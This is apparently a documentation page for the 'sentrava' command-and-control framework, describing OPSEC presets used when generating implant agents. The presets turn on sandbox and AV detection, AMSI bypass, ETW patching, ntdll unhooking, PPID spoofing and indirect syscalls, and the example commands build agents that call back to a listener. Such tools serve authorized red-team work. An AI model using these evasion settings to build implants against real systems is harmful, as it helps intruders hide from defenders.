MVP / Linux + Windows

OPSEC Presets

Presets are named collections of OPSEC modules selected at generate time with the --opsec flag. They are shortcuts; you can also enable individual modules with explicit flags.

Preset reference

Preset Modules enabled KillOnDetection
none None (default) Off
basic guardrails, validator Off
full guardrails, validator, sleepmask, canary, polymorph Off

KillOnDetection is off by default for all presets. Detections are logged and the agent continues running. This is intentional — silent kill-on-detect makes debugging harder and does not improve operational security in most scenarios.

Usage

sh
# No OPSEC (default — same as omitting --opsec)
sentrava > generate --opsec none --listener <ip>:4433

# Basic: environment and certificate checks only
sentrava > generate --opsec basic --listener <ip>:4433

# Full: all five modules
sentrava > generate --opsec full --listener <ip>:4433

Combining presets with other flags

sh
# Full OPSEC, session mode, Windows target
sentrava > generate --opsec full --agent-mode session --os windows --arch amd64 --listener <ip>:4433

# Basic OPSEC with HTTP transport and profile
sentrava > generate --opsec basic --transport http --profile teams-http --listener <ip>:8888

Windows OPSEC presets

Windows agents have a separate preset flag --win-opsec that controls the Windows OPSEC stack. Both --opsec and --win-opsec can be combined in a single generate invocation.

Preset Modules enabled
--win-opsec none None (default)
--win-opsec basic amsi-bypass, etw-patch
--win-opsec full ntdll-unhook, amsi-bypass, etw-patch, ppid-spoof, indirect-syscall, sleepmask-win
sh
# Full Linux + full Windows OPSEC on a Windows agent
sentrava > generate --os windows --opsec full --win-opsec full --listener <ip>:4433

# Lifecycle: Kill Date + Working Hours (apply to any OS)
sentrava > generate --os windows --win-opsec full \
  --kill-date 2026-12-31 --working-hours 09:00-18:00 --listener <ip>:4433

Important notes

Per-module guardrail checks

With --opsec basic or --opsec full, you can specify which guardrail checks to run:

sh
# Sandbox detection only
generate --opsec basic --opsec-checks sandbox --listener <ip>:4433

# Sandbox + AV detection
generate --opsec basic --opsec-checks sandbox,av --listener <ip>:4433

# All checks (default with --opsec full)
generate --opsec full --opsec-checks sandbox,av,env --listener <ip>:4433

See Modules for per-module behavior detail.